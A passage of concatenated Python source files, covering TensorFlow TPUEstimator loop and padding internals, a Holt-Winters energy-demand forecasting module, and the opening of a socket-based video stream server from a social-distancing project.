model_fn_wrapper, dequeue_fn): """Executes `model_fn_wrapper` multiple times on all TPU shards.""" iterations_per_loop_var = _create_or_get_iterations_per_loop() (single_tpu_eval_step, host_calls, captured_scaffold_fn, captured_eval_hooks ) = model_fn_wrapper.convert_to_single_tpu_eval_step(dequeue_fn) def multi_tpu_eval_steps_on_single_shard(): loop_vars = [_ZERO_LOSS] if model_fn_wrapper._eval_cache_fn is not None: batch_size = ctx.global_batch_size num_shards = ctx._config._tpu_config.num_shards loop_vars += model_fn_wrapper._eval_cache_fn(batch_size // num_shards) return training_loop.repeat( iterations_per_loop_var, single_tpu_eval_step, loop_vars) ret = tpu.shard( multi_tpu_eval_steps_on_single_shard, inputs=[], num_shards=ctx.num_replicas, outputs_from_all_shards=False, device_assignment=ctx.device_assignment) loss = ret[0] scaffold = _get_scaffold(captured_scaffold_fn) return loss, host_calls, scaffold, captured_eval_hooks.get() def _train_on_tpu_system(ctx, model_fn_wrapper, dequeue_fn): """Executes `model_fn_wrapper` multiple times on all TPU shards.""" iterations_per_loop_var = _create_or_get_iterations_per_loop() (single_tpu_train_step, host_call, captured_scaffold_fn, captured_training_hooks) = ( model_fn_wrapper.convert_to_single_tpu_train_step(dequeue_fn)) def multi_tpu_train_steps_on_single_shard(): if model_fn_wrapper._params.get('track_mean', False): loop_vars = [_ZERO_LOSS] else: loop_vars = [_INITIAL_LOSS] if model_fn_wrapper._train_cache_fn is not None: batch_size = ctx.global_batch_size num_shards = ctx._config._tpu_config.num_shards loop_vars += model_fn_wrapper._train_cache_fn(batch_size // num_shards) return training_loop.repeat( iterations_per_loop_var, single_tpu_train_step, loop_vars) ret = tpu.shard( multi_tpu_train_steps_on_single_shard, inputs=[], num_shards=ctx.num_replicas, outputs_from_all_shards=False, device_assignment=ctx.device_assignment) loss = ret[0] scaffold = _get_scaffold(captured_scaffold_fn) return loss, host_call, scaffold, captured_training_hooks.get() def _predict_on_tpu_system(ctx, model_fn_wrapper, dequeue_fn): """Executes `model_fn_wrapper` multiple times on all TPU shards.""" (single_tpu_predict_step, host_calls, captured_scaffold_fn, captured_predict_hooks ) = model_fn_wrapper.convert_to_single_tpu_predict_step(dequeue_fn) def multi_tpu_predict_steps_on_single_shard(): def cond(scalar_stopping_signal): return math_ops.logical_not( _StopSignals.should_stop(scalar_stopping_signal)) inputs = [_StopSignals.NON_STOPPING_SIGNAL] outputs = training_loop.while_loop( cond, single_tpu_predict_step, inputs=inputs, name=b'loop') return outputs (dummy_predict_op,) = tpu.shard( multi_tpu_predict_steps_on_single_shard, inputs=[], num_shards=ctx.num_replicas, outputs_from_all_shards=False, device_assignment=ctx.device_assignment) scaffold = _get_scaffold(captured_scaffold_fn) return dummy_predict_op, host_calls, scaffold, captured_predict_hooks.get() def _wrap_computation_in_while_loop(device, op_fn): """Wraps the ops generated by `op_fn` in tf.while_loop.""" def computation(i): with ops.control_dependencies(op_fn()): return i + 1 iterations_per_loop_var = _create_or_get_iterations_per_loop() # By setting parallel_iterations=1, the parallel execution in while_loop is # basically turned off. with ops.device(device): iterations = array_ops.identity(iterations_per_loop_var) return control_flow_ops.while_loop( lambda i: i < iterations, computation, [constant_op.constant(0)], parallel_iterations=1) def _wrap_computation_in_while_loop_with_stopping_signals(device, op_fn): """Wraps the ops generated by `op_fn` in tf.while_loop.""" def cond(scalar_stopping_signal): return math_ops.logical_not( _StopSignals.should_stop(scalar_stopping_signal)) def computation(unused_scalar_stopping_signal): return_value = op_fn() execute_ops = return_value['ops'] signals = return_value['signals'] with ops.control_dependencies(execute_ops): return _StopSignals.as_scalar_stopping_signal(signals) # By setting parallel_iterations=1, the parallel execution in while_loop is # basically turned off. with ops.device(device): return control_flow_ops.while_loop( cond, computation, [_StopSignals.NON_STOPPING_SIGNAL], parallel_iterations=1) def _validate_tpu_training_graph(): """Validate graph before running distributed training. Raises: ValueError: If the graph seems invalid for running on device """ operations = ops.get_default_graph().get_operations() # Check if there is atleast one CrossReplicaSum operation in the graph # This should be introduced by using the CrossShardOptimizer wrapper cross_replica_sum_ops = [ o for o in operations if o.type == _CROSS_REPLICA_SUM_OP ] if not cross_replica_sum_ops: raise ValueError( 'CrossShardOptimizer must be used for model training on TPUs.') class _CapturedObject(object): """A placeholder to capture an object. This is useful when we need to capture a Python object in the Tensorflow control flow body function and use it outside the control flow. """ def __init__(self): self._object = None self._captured = False def capture(self, o): if self._captured: raise RuntimeError( 'InternalError: Object can capture only once. Please file bug.') self._captured = True self._object = o def get(self): if not self._captured: raise RuntimeError( 'InternalError: Object is not captured properly before `get`. ' 'Please file bug.') return self._object def _get_scaffold(captured_scaffold_fn): """Retrieves the Scaffold from `captured_scaffold_fn`.""" with _CapturingContext(message='Inside scaffold_fn'): scaffold_fn = captured_scaffold_fn.get() if scaffold_fn: scaffold = scaffold_fn() if scaffold is None: raise ValueError( 'TPUEstimatorSpec.scaffold_fn returns None, which is not allowed') else: scaffold = None if scaffold: wrapped_finalize = scaffold.finalize def _finalize(): with _CapturingContext('Inside Scaffold.finalize'): wrapped_finalize() scaffold.finalize = _finalize return scaffold class _CapturingContext(control_flow_ops.ControlFlowContext): """Tracks references to Tensors defined in TPU replication.""" def __init__(self, message): control_flow_ops.ControlFlowContext.__init__(self) self._message = message def AddOp(self, op): # pylint: disable=invalid-name for c in op.inputs: if tpu._TPU_REPLICATE_ATTR in c.op.node_def.attr: # pylint: disable=protected-access raise ValueError('{}: Op {} depends on TPU computation {}, ' 'which is not allowed.'.format(self._message, op, c)) def __enter__(self): # pylint: disable=protected-access self._g = ops.get_default_graph() self._old = self._g._get_control_flow_context() self._g._set_control_flow_context(self) # pylint: enable=protected-access def __exit__(self, _, __, ___): # pylint: disable=invalid-name self._g._set_control_flow_context(self._old) # pylint: disable=protected-access class _Inputs(object): """A data structure representing the input_fn returned values. This also supports the returned value from input_fn as `Dataset`. """ def __init__(self, features=None, labels=None, dataset=None, signals=None): if dataset is not None and (features is not None or labels is not None or signals is not None): raise RuntimeError('Internal Error: Either (features and labels) or ' 'dataset should be provided, not both. Please file ' 'bug') self._features = features self._labels = labels self._signals = signals self._dataset = dataset self._iterator = None @staticmethod def from_input_fn(return_values): """Returns an `_Inputs` instance according to `input_fn` return value.""" if isinstance(return_values, dataset_ops.Dataset): dataset = return_values return _Inputs(dataset=dataset) features, labels = _Inputs._parse_inputs(return_values) return _Inputs(features, labels) @staticmethod def _parse_inputs(return_values): if isinstance(return_values, tuple): features, labels = return_values else: features, labels = return_values, None return features, labels @property def is_dataset(self): """Returns True if the return value from input_fn is Dataset.""" return self._dataset is not None def dataset_initializer_hook(self): """Returns a `SessionRunHook` to initialize this dataset. This must be called before `features_and_labels`. """ iterator = self._dataset.make_initializable_iterator() # pylint: disable=protected-access hook = estimator_util._DatasetInitializerHook(iterator) # pylint: enable=protected-access self._iterator = iterator return hook def features_and_labels(self): """Gets `features` and `labels`.""" if self.is_dataset: if self._iterator is None: raise RuntimeError('Internal error: Must call dataset_initializer_hook ' 'before calling features_and_labels(). Please file ' 'a bug!') return _Inputs._parse_inputs(self._iterator.get_next()) return (self._features, self._labels) def signals(self): return self._signals @property def dataset(self): return self._dataset class _InputsWithStoppingSignals(_Inputs): """Inputs with `_StopSignals` inserted into the dataset.""" def __init__(self, dataset, batch_size, add_padding=False, num_invocations_per_step=1): assert dataset is not None user_provided_dataset = dataset.map( _InputsWithStoppingSignals.insert_stopping_signal( stop=False, batch_size=batch_size, add_padding=add_padding)) if num_invocations_per_step == 1: final_batch_dataset = dataset.take(1).map( _InputsWithStoppingSignals.insert_stopping_signal( stop=True, batch_size=batch_size, add_padding=add_padding)) else: # We append (2 * num_invocations_per_step - 1) batches for exhausting the # user_provided_dataset and stop properly. # For example, if num_invocations_per_step is 2, we append 3 additional # padding batches: b1, b2, b3. # If user_provided_dataset contains two batches: a1, a2 # Step 1: [a1, a2] # Step 2: [b1, b2] -> STOP # If user_provided_dataset contains three batches: a1, a2, a3. # The training loops: # Step 1: [a1, a2] # Step 2: [a3, b1] # Step 3: [b2, b3] -> STOP. final_batch_dataset = dataset.take(1).map( _InputsWithStoppingSignals.insert_stopping_signal( stop=True, batch_size=batch_size, add_padding=add_padding)) final_batch_dataset = final_batch_dataset.repeat( 2 * num_invocations_per_step - 1) def _set_mask(data_dict): signals = data_dict['signals'] signals['padding_mask'] = array_ops.ones_like(signals['padding_mask']) data_dict['signals'] = signals return data_dict # Mask out the extra batch. final_batch_dataset = final_batch_dataset.map(_set_mask) dataset = user_provided_dataset.concatenate(final_batch_dataset).prefetch(2) super(_InputsWithStoppingSignals, self).__init__(dataset=dataset) self._current_inputs = None def features_and_labels(self): if self._current_inputs is not None: raise RuntimeError( 'Internal Error: The previous inputs have not been properly ' 'consumed. First call features_and_labels, then call signals.') inputs_with_signals = self._iterator.get_next() features = inputs_with_signals['features'] labels = inputs_with_signals.get('labels') self._current_inputs = inputs_with_signals return features, labels def signals(self): """Returns the `Signals` from `_Inputs`.""" if self._current_inputs is None: raise RuntimeError( 'Internal Error: The current inputs have not been properly ' 'generated. First call features_and_labels, then call signals.') signals = self._current_inputs['signals'] self._current_inputs = None return signals @staticmethod def insert_stopping_signal(stop, batch_size, add_padding=False): """Inserts stopping_signal into dataset via _map_fn. Here we change the data structure in the dataset, such that the return value is a dictionary now and `features`, `labels`, and `signals` are three distinguished keys in that dict. This provides a better structure, which eases the process to decompose the inputs (see `features_and_labels`). Args: stop: bool, state of current stopping signals. batch_size: int, batch size. add_padding: bool, whether to pad the tensor to full batch size. Returns: A map_fn passed to dataset.map API. """ def _map_fn(*args): """The map fn to insert signals.""" if len(args) == 1: # Unpack the single Tensor/dict argument as features. This is required # for the input_fn returns no labels. args = args[0] features, labels = _Inputs._parse_inputs(args) new_input_dict = {} if add_padding: padding_mask, features, labels = ( _PaddingSignals.pad_features_and_labels( features, labels, batch_size)) new_input_dict['features'] = features if labels is not None: new_input_dict['labels'] = labels else: new_input_dict['features'] = features if labels is not None: new_input_dict['labels'] = labels padding_mask = None new_input_dict['signals'] = _StopSignals( stop=stop, batch_size=batch_size, padding_mask=padding_mask).as_dict() return new_input_dict return _map_fn class _StopSignals(object): """Signals class holding all logic to handle TPU stopping condition.""" NON_STOPPING_SIGNAL = False STOPPING_SIGNAL = True def __init__(self, stop, batch_size, padding_mask=None): self._stop = stop self._batch_size = batch_size self._padding_mask = padding_mask def as_dict(self): """Returns the signals as Python dict.""" shape = [self._batch_size, 1] dtype = dtypes.bool if self._stop: stopping = array_ops.ones(shape=shape, dtype=dtype) else: stopping = array_ops.zeros(shape=shape, dtype=dtype) signals = {'stopping': stopping} if self._padding_mask is not None: signals['padding_mask'] = self._padding_mask return signals @staticmethod def as_scalar_stopping_signal(signals): return array_ops.identity(signals['stopping'][0][0]) @staticmethod def should_stop(scalar_stopping_signal): """Detects whether scalar_stopping_signal indicates stopping.""" if isinstance(scalar_stopping_signal, ops.Tensor): # STOPPING_SIGNAL is a constant True. Here, the logical_and is just the TF # way to express the bool check whether scalar_stopping_signal is True. return math_ops.logical_and( scalar_stopping_signal, _StopSignals.STOPPING_SIGNAL) else: # For non Tensor case, it is used in SessionRunHook. So, we cannot modify # the graph anymore. Here, we use pure Python. return bool(scalar_stopping_signal) class _PaddingSignals(object): """Signals class holding all logic to handle padding.""" @staticmethod def pad_features_and_labels(features, labels, batch_size): """Pads out the batch dimension of features and labels.""" real_batch_size = array_ops.shape( _PaddingSignals._find_any_tensor(features))[0] batch_size_tensor = constant_op.constant(batch_size, dtypes.int32) check_greater = check_ops.assert_greater_equal( batch_size_tensor, real_batch_size, data=(batch_size_tensor, real_batch_size), message='The real batch size should not be greater than batch_size.') with ops.control_dependencies([check_greater]): missing_count = batch_size_tensor - real_batch_size def pad_single_tensor(tensor): """Pads out the batch dimension of a tensor to the complete batch_size.""" rank = len(tensor.shape) assert rank > 0 padding = array_ops.stack([[0, missing_count]] + [[0, 0]] * (rank - 1)) padded_shape = (batch_size,) + tuple(tensor.shape[1:]) padded_tensor = array_ops.pad(tensor, padding) padded_tensor.set_shape(padded_shape) return padded_tensor def nest_pad(tensor_or_dict): return nest.map_structure(pad_single_tensor, tensor_or_dict) features = nest_pad(features) if labels is not None: labels = nest_pad(labels) padding_mask = _PaddingSignals._padding_mask( real_batch_size, missing_count, batch_size) return padding_mask, features, labels @staticmethod def slice_tensor_or_dict(tensor_or_dict, signals): """Slice the real Tensors according to padding mask in signals.""" padding_mask = signals['padding_mask'] batch_size = array_ops.shape(padding_mask)[0] def verify_batch_size(tensor): check_batch_size = math_ops.equal(batch_size, tensor.shape[0]) with ops.control_dependencies([check_batch_size]): return array_ops.identity(tensor) def slice_single_tensor(tensor): rank = len(tensor.shape) assert rank > 0 real_batch_size = batch_size - math_ops.reduce_sum(padding_mask) return verify_batch_size(tensor)[0:real_batch_size] # As we split the Tensors to all TPU cores and concat them back, it is # important to ensure the real data is placed before padded ones, i.e., # order is preserved. By that, the sliced padding mask should have all 0's. # If this assertion failed, # the slice logic here would not hold. sliced_padding_mask = slice_single_tensor(padding_mask) assert_padding_mask = math_ops.equal( math_ops.reduce_sum(sliced_padding_mask), 0) with ops.control_dependencies([assert_padding_mask]): should_stop = _StopSignals.should_stop( _StopSignals.as_scalar_stopping_signal(signals)) is_full_batch = math_ops.equal(math_ops.reduce_sum(padding_mask), 0) def slice_fn(tensor): # If the current batch is full batch or part of stopping signals, we do # not need to slice to save performance. return control_flow_ops.cond( math_ops.logical_or(should_stop, is_full_batch), (lambda: verify_batch_size(tensor)), (lambda: slice_single_tensor(tensor))) return nest.map_structure(slice_fn, tensor_or_dict) @staticmethod def _find_any_tensor(batch_features): tensors = [x for x in nest.flatten(batch_features) if isinstance(x, ops.Tensor)] if not tensors: raise ValueError('Cannot find any Tensor in features dict.') return tensors[0] @staticmethod def _padding_mask(real_batch_size, missing_count, batch_size): padding_mask = array_ops.concat( [ array_ops.zeros((real_batch_size,), dtype=dtypes.int32), array_ops.ones((missing_count,), dtype=dtypes.int32) ], axis=0) padding_mask.set_shape((batch_size,)) return padding_mask def _verify_cross_hosts_transfer_size(tensor_dict, message): total_size = 0 tensor_structure = {} for key, tensor in tensor_dict.items(): shape = tensor.shape size = np.product(shape) * tensor.dtype.size tensor_structure[key] = shape total_size += size if total_size >= _ONE_GIGABYTE: raise ValueError( '{} The transfer size is larger than the protobuf limit. Please ' 'consider to use Tensors with smaller shapes or reduce batch ' 'size. Given:\n' '{}'.format(message, '\n'.join([ ' -- Key: {}, Shape: {}'.format(k, v) for k, v in tensor_structure.items()]))) def _add_item_to_params(params, key, value): """Adds a new item into `params`.""" if isinstance(params, hparam.HParams): # For HParams, we need to use special API. if key in params: params.set_hparam(key, value) else: params.add_hparam(key, value) else: # Now params is Python dict. params[key] = value def export_estimator_savedmodel(estimator, export_dir_base, serving_input_receiver_fn, assets_extra=None, as_text=False, checkpoint_path=None, strip_default_attrs=False): """Export `Estimator` trained model for TPU inference. Args: estimator: `Estimator` with which model has been trained. export_dir_base: A string containing a directory in which to create timestamped subdirectories containing exported SavedModels. serving_input_receiver_fn: A function that takes no argument and returns a `ServingInputReceiver` or `TensorServingInputReceiver`. assets_extra: A dict specifying how to populate the assets.extra directory within the exported SavedModel, or `None` if no extra assets are needed. as_text: whether to write the SavedModel proto in text format. checkpoint_path: The checkpoint path to export. If `None` (the default), the most recent checkpoint found within the model directory is chosen. strip_default_attrs: Boolean. If `True`, default-valued attributes will be removed from the NodeDefs. Returns: The string path to the exported directory. """ # `TPUEstimator` requires `tpu_config.RunConfig`, so we cannot use # `estimator.config`. config = tpu_config.RunConfig(model_dir=estimator.model_dir) est = TPUEstimator( estimator._model_fn, # pylint: disable=protected-access config=config, params=estimator.params, use_tpu=True, train_batch_size=2048, # Does not matter. eval_batch_size=2048, # Does not matter. ) return est.export_savedmodel(export_dir_base, serving_input_receiver_fn, assets_extra, as_text, checkpoint_path, strip_default_attrs)
__init__.py
""" This module contains the statistical forecasting initiation and management. The base class for all forecastings is :py:class:`StatisticalForecast` , to generate forecasts one of the following subclasses has to be used .. autosummary:: ~StatisticalForecast ~DSHWForecast ~DayTypeForecast """ import os import time import numpy as np from sys import platform as _platform from datetime import date, datetime, timedelta import multiprocessing from multiprocessing.process import Process import cPickle as pickle import logging from django.utils.timezone import utc from server.settings import BASE_DIR, CYTHON_SUPPORT """"try to import compiled holtwinters (double seasonal) extension by building it. if this fails, the standard holtwinters is used. """ fast_hw = False if (CYTHON_SUPPORT): try: from server.forecasting.statistical.build_extension import build_holtwinters_extension try: t0 = time.time() build_holtwinters_extension() #compile and link #if function takes less than 8 seconds, the module was probably already built before fresh_build = time.time() - t0 > 8 from server.forecasting.statistical.holtwinters_fast import double_seasonal, multiplicative fast_hw = True if fresh_build: print "cython extension built and imported" except Exception as e: print "error while building. ", e print "check ecoControl.log" except Exception as e: print "cython probably not installed", e if not fast_hw: if (CYTHON_SUPPORT): print "falling back to python holt-winters" from server.forecasting.statistical.holt_winters import double_seasonal, multiplicative, additive else: #!TODO: additive is not accelerated (yet) from server.forecasting.statistical.holt_winters import additive logger = logging.getLogger('simulation') class StatisticalForecast: """ This is the abstract class for statistical forecasting. Statistical forecasts use exponential smoothing methods to forecast timeseries into the future. These methods rely on the right parameters to make a realistic forecast. The parameters can be passed to the function, if they are omitted they are found by minimizing the MSE. Forecastings are calculated after contruction of class and then whenever needed, which is set by :attr:`forecast_update_interval`. :param list input_data: list of consecutive values sampled in ``samples_per_hour`` :param datetime start: start date of input data :param int samples_per_hour: Number of samples per hour in input_data :param boolean try_cache: Read and Save forecasts to a cache on the file device to avoid unneccesary recomputation, is ``True`` by default. :param \*\*kwargs: Any instance variable can be overwritten with a keyword from here, f.e. *input_weeks = 14*. Will be set before any data is processed. Only use, if you know what your doing. :ivar int forecast_update_interval: The time in seconds for how long forecasts stay valid. When this interval is passed, a new forecast is calculated. :ivar int input_weeks: only forecast with this many weeks of data, default are 12 weeks. :ivar int output_weeks: the forecast will cover this many weeks of future data,default are 8 weeks. :ivar [[],] demands: the processed demands, depending on subclass this contains one or more series """ def __init__(self, env, input_data, samples_per_hour=1, start=None, try_cache=True, **kwargs): self.calculated_parameters = [] self.samples_per_hour = samples_per_hour self.env = env self.try_cache = try_cache self.forecast_update_interval = 24 * 60 * 60 # self.input_weeks = 4 self.input_hours = self.input_weeks*24*7*self.samples_per_hour self.output_weeks = 4 data_length = timedelta(hours=len(input_data) / samples_per_hour) #only use days data_length = timedelta(days=data_length.days) if start == None: start = datetime.utcfromtimestamp(self.env.now).replace(tzinfo=utc) - data_length #always set to start of day start = start.replace(hour=0,minute=0) # ending time of input data self.time_series_end = datetime.utcfromtimestamp(self.env.now).replace(tzinfo=utc) # overwrite standard instance variables by passing in keyword arguments for key in vars(self).keys(): if key in kwargs: setattr(self,key,kwargs[key]) if len(input_data) * samples_per_hour < self.input_hours: raise Exception("not enough values to forecast upon, please use another date or add more inputdata") self.demands = self.process_inputdata(input_data[-self.input_hours:] ,samples_per_hour,start) #forecast all demands.. might take long self.forecasted_demands = self.forecast_demands() def get_forecast_at(self, timestamp): """ Return the forecast at the (unix) timestamp. Raise a :py:exc:`IndexError` if there is no forecast for the timestamp.""" try: return self.forecast_at(timestamp)[0] except IndexError as e: msg = " .. tried to access at a timepoint, for which no forecast is existant" logger.error(str(e) + msg) raise IndexError(str(e) + msg) def process_inputdata(self, data, samples_per_hour,start): """.. _process-inputdata: Preprocess and return the input demands. Needed for the division into weekdays in :class:`DayTypeForecast`. :param datetime start: the time of the first datapoint. Only the day is of interest. """ raise NotImplementedError("This is an abstract class, please use a subclass") def forecast_demands(self): """Forecast and return the :attr:`demands`. The forecasting method depends on the subclass. """ raise NotImplementedError("This is an abstract class, please use a subclass") def append_values(self, data, start_date=None): """ Pushes in new values and cuts off values at the beginning to keep input length. Will update the forecasts if needed. """ raise NotImplementedError("This is an abstract class, please use a subclass") @classmethod def make_hourly(cls, data, samples_per_hour): """ aggregates data series to 1hourly data. :param list data: the series :param int samples_per_hour: number of samples per hour contained in `data` :returns: list of 1hourly data """ def avg(hour): sum = 0 for i in range(samples_per_hour): sum += data[hour * samples_per_hour + i] return sum / samples_per_hour hours = len(data) / samples_per_hour return [avg(i) for i in range(hours)] @classmethod def MASE(cls, training_series, testing_series, prediction_series): """ Computes the MEAN-ABSOLUTE SCALED ERROR forecast error for univariate time series prediction. See `"Another look at measures of forecast accuracy" <http://robjhyndman.com/papers/another-look-at-measures-of-forecast-accuracy/>`_, Rob J Hyndman :param list training_series: the series used to train the model :param list testing_series: the test series to predict :param list prediction_series: the prediction of testing_series (same size as testing_series) """ training_series = np.array(training_series) testing_series = np.array(testing_series) prediction_series = np.array(prediction_series) n = training_series.shape[0] d = np.abs(np.diff(training_series)).sum() / (n - 1) errors = np.abs(testing_series - prediction_series) return errors.mean() / d def update_if_needed(self): """``Internal Method`` Update the forecasts, if `env.now` is more than `forecast_update_interval` seconds ahead from last demand measurement""" now = datetime.utcfromtimestamp(self.env.now).replace(tzinfo=utc) delta = (now - self.time_series_end).total_seconds() if delta > self.forecast_update_interval: self.forecasted_demands = self.forecast_demands() self.time_series_end = datetime.utcfromtimestamp(self.env.now).replace(tzinfo=utc) def read_from_cache(self): """ ``Internal Method`` Return a cached result. If *try_cache* = ``True``, this will try to read from cache/cached_forecasts.cache. The results are only returned, if the timestamp of the forecast creation is not older than 24h. Else or if no cached file is available, ``None`` is returned. :returns: ``list`` or `None` """ if self.try_cache: try: cached = pickle.load(open( os.path.join(BASE_DIR,"cache", "cached_forecasts.cache"), "rb" )) diff_time = datetime.utcfromtimestamp(cached["date"]).replace(tzinfo=utc) - self.time_series_end if diff_time.total_seconds() < 24 * 60 * 60: #24 hours epsilon forecasted_demands = cached["forecasts"] self.calculated_parameters = cached["parameters"] logger.info("read forecasts from cache") return forecasted_demands except IOError as e: logger.info(str(e) + " .. creating new cache file") return None class DSHWForecast(StatisticalForecast): """ This forecast uses the double seasonal exponential smoothing method. It often delivers better results than the :class:`DayTypeForecast`. """ def forecast_at(self, timestamp): date = datetime.utcfromtimestamp(timestamp).replace(tzinfo=utc) delta = (date - self.time_series_end).total_seconds() return [self.forecasted_demands[int(delta / 3600 * self.samples_per_hour)]] def process_inputdata(self, data, samples_per_hour,start): """ See :meth:`StatisticalForecast.process_inputdata` Dummy Method, returns array of data. """ return [data] def forecast_demands(self,verbose=False): """ See :meth:`StatisticalForecast.forecast_demands`.""" logger.debug("forecasting demands with double seasonal HW..") cached = StatisticalForecast.read_from_cache(self) if cached != None: return cached demand = self.demands[0] #dshw demands only contains one dataset sph = self.samples_per_hour fc = self.output_weeks * 24 * 7 * self.samples_per_hour #forecast_length (alpha, beta, gamma, delta, autocorr) = (None for i in range(5)) t = time.time() forecast_values, (alpha, beta, gamma, delta, autocorrelation),in_sample = double_seasonal(demand, m=int(24*sph), m2=int(24*7*sph), forecast=int(fc), alpha=alpha, beta=beta, gamma=gamma, delta=delta, autocorrelation=autocorr) if verbose: mse = ((in_sample - forecast_values) ** 2).mean(axis=None) calculated_parameters = { "alpha": alpha, "beta": beta, "gamma": gamma, "delta":delta, "autocorrelation":autocorrelation, "mse": mse} print "use auto HW ",calculated_parameters logger.debug("doubleseasonal completed in:" + str(time.time()-t) + " s") return forecast_values def append_values(self, data, start_date=None): """See :meth:`StatisticalForecast.append_values`""" demand = self.demands[0] demand += data if len(demand) > self.input_hours: #only keep number of input_weeks start_index = len(demand) - self.input_hours self.demands[0] = demand[start_index:] self.update_if_needed() class DayTypeForecast(StatisticalForecast): """This forecast splits the demands into 7 weekdays and minimizes and forecasts each with the holt-winters multiplicative method.""" @classmethod def split_weekdata(cls, data, samples_per_hour, start_date=None): """Splits the data into 7 lists, one for each weekday. :param datetime start_date: the weekday which of the first day of input data. Default = 0 :returns: [mon_series, tue_series, wen_series,..]""" if start_date != None: weekday = start_date.weekday() else: weekday = 0 split_array = [[] for i in range(7)] for index, element in enumerate(data): if index % (24 * samples_per_hour) == 0: weekday = (weekday + 1) % 7 split_array[weekday].append(element) return split_array def process_inputdata(self, data, samples_per_hour,start): """ See :meth:`StatisticalForecast.process_inputdata` Splits the data into 7 arrays, one for each weekday. """ return DayTypeForecast.split_weekdata(data, samples_per_hour, start) def forecast_multiplicative(self, demand, index, result_dict, verbose=False): """ `Internal Method`. Forecasts one series and stores into result_dict""" #seasonality length -- one day m = 24 * self.samples_per_hour fc = self.output_weeks * 24 * self.samples_per_hour #forecast_length # alpha, beta, gamma. holt.winters determines them automatically # cost-expensive, so only do this once.. (alpha, beta, gamma) = (None, None, None) logger.debug("find holt winter parameters for day: " + str(index)) # find values automatically forecast_values, (alpha, beta, gamma),in_sample = multiplicative(demand, m, fc) calculated_parameters = { "alpha": alpha, "beta": beta, "gamma": gamma, "mse": in_sample} if verbose: print "use auto HW ",calculated_parameters result_dict[index] = (forecast_values, calculated_parameters, index) def forecast_demands(self): """ See :meth:`StatisticalForecast.forecast_demands`. This method uses processes, to speed up the calculation. This drives the cpu to full load for a short time.""" cached = StatisticalForecast.read_from_cache(self) if cached != None: return cached split_results = [[] for i in range(7)] #multi processed forecasting ## WARNING: hangups: #v.1 : pool.map #v.2 use multiple processes instead of pool.map to circumvent a hangup caused # by a multiprocessing/django incompabatility #share results in a multiaccess queue #note: this queue can not hold unlimited elements and will hang up with no warning if there are too many elements #12 weeks 1hourly will work, 20 not #result_queue = multiprocessing.Queue() #v.3 now uses a shared multiprocessing dict, to circumvent hang up problems with queue on windows mgr = multiprocessing.Manager() dict_threadsafe = mgr.dict() logger.debug("forecasting demands with daytype strategy..") #call class as Functor because class methods are not pickeable jobs = [Process(target=self, args=(demand,index,dict_threadsafe)) for index, demand in enumerate(self.demands)] for job in jobs: job.start() for job in jobs: job.join() for index in dict_threadsafe.keys(): split_results[index] = dict_threadsafe[index] forecasted_demands = [] self.calculated_parameters = [] for fc_tuple in split_results: forecasted_demands.append(list(fc_tuple[0])) self.calculated_parameters.append(fc_tuple[1]) #cache forecasts pickle.dump( {"forecasts" :forecasted_demands, "parameters" : self.calculated_parameters, "date": self.env.now }, open(os.path.join(BASE_DIR,"cache", "cached_forecasts.cache"), "wb" ) ) logger.debug("forecasting completed") return forecasted_demands def forecast_at(self, timestamp): """ `Internal Method`. Returns the forecast at the timestamp. The timestamps weekday is used to get the right forecasting :returns: (forecast value, index of week, index of hour) """ date = datetime.utcfromtimestamp(timestamp).replace(tzinfo=utc) delta = (date - self.time_series_end).total_seconds() arr_index = int((delta / (60.0 * 60.0)) * self.samples_per_hour) week_index = int(arr_index / (7 * 24)) hour_index = arr_index % 24 return (self.forecasted_demands[date.weekday()][week_index * 24 + hour_index], week_index, hour_index) def append_values(self, data, start_date=None): """See :meth:`StatisticalForecast.append_values`""" new_demands = DayTypeForecast.split_weekdata(data, self.samples_per_hour, start_date) for index, demand in enumerate(new_demands): self.demands[index] += demand if len(self.demands[index]) > self.input_hours / 7: #only keep number of input_weeks start_index = len(self.demands[index]) - self.input_hours / 7 self.demands[index] = self.demands[index][start_index:] self.update_if_needed() # callable class def __call__(self, demand, index, result_dict): self.forecast_multiplicative(demand, index, result_dict)
stream_server.py
""" stream_server.py IIT : Istituto italiano di tecnologia Pattern Analysis and Computer Vision (PAVIS) research line Description: Social distancing video stream server Disclaimer: The information and content provided by this application is for information purposes only. You hereby agree that you shall not make any health or medical related decision based in whole or in part on anything contained within the application without consulting your personal doctor. The software is provided "as is", without warranty of any kind, express or implied, including but not limited to the warranties of merchantability, fitness for a particular purpose and noninfringement. In no event shall the authors, PAVIS or IIT be liable for any claim, damages or other liability, whether in an action of contract, tort or otherwise, arising from, out of or in connection with the software or the use or other dealings in the software. LICENSE: This project is licensed under the terms of the MIT license. This project incorporates material from the projects listed below (collectively, "Third Party Code"). This Third Party Code is licensed to you under their original license terms. We reserves all other rights not expressly granted, whether by implication, estoppel or otherwise. The software can be freely used for any non-commercial applications and it is useful for maintaining the safe social distance among people in pandemics. The code is open and can be improved with your support, please contact us at socialdistancig@iit.it if you will to help us. """ import os import sys import time from sys import platform import socket import threading import queue import signal import datetime from turbojpeg import TurboJPEG, TJPF_GRAY, TJSAMP_GRAY, TJFLAG_PROGRESSIVE import json import threading import glob class StreamServer: """StreamServer class, send images/json to remote clients """ def __init__(self, port, queue_list, content_type): """Initialize server Args: port (string): listen port queue_list (queue): data queue content_type (string): content type """ self.port = port self.queue_list = queue_list self.run = True self.content_type = content_type def activate(self): """Activate listening """ self.run = True # Start listen thread threading.Thread(target=self.listen).start() def disconnect(self): """Deactivate listening and close socket """ self.s.shutdown(socket.SHUT_RDWR) self.s.close() self.run = False def listen(self): """Listen new clients """ # Create server socket port = self.port # Configure server and reuse address self.s = socket.socket() self.s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.s.bind(('0.0.0.0', port)) self.s.listen() # Wait for new connections while self.run: try: # Wait new connection c, addr = self.s.accept() # Print connection print("Connection from {0} to local port {1}".format(addr, self.port), flush=True) # Create new sending client queue q = queue.Queue(128) # Add queue to queue clients list self.queue_list.append(q) # Crete new server thread threading.Thread(target=self.client_handler, args=(c,q,)).start() except socket.error as e: print ("Error while listening :{0}".format(e), flush=True) print("Server on {0} listen stop".format(self.port), flush=True) def client_handler(self, c, q): """Client handler, send stream to remote client Args: c (socket): socket q (queue): queue """ # Read request from remote web client data = c.recv(1024) # Decode data to eventually use it data = data.decode("UTF-8") # Print received data #print(data) # Create a fake header to send to remote client response = "HTTP/1.0 200 OK\r\n" \ "Cache-Control: no-store, no-cache, must-revalidate, pre-check=0, post-check=0, max-age=0\r\n" \ "Pragma: no-cache\r\n" \ "Expires: Thu, 01 Dec 1994 16:00:00 GMT\r\n" \ "Connection: close\r\n" 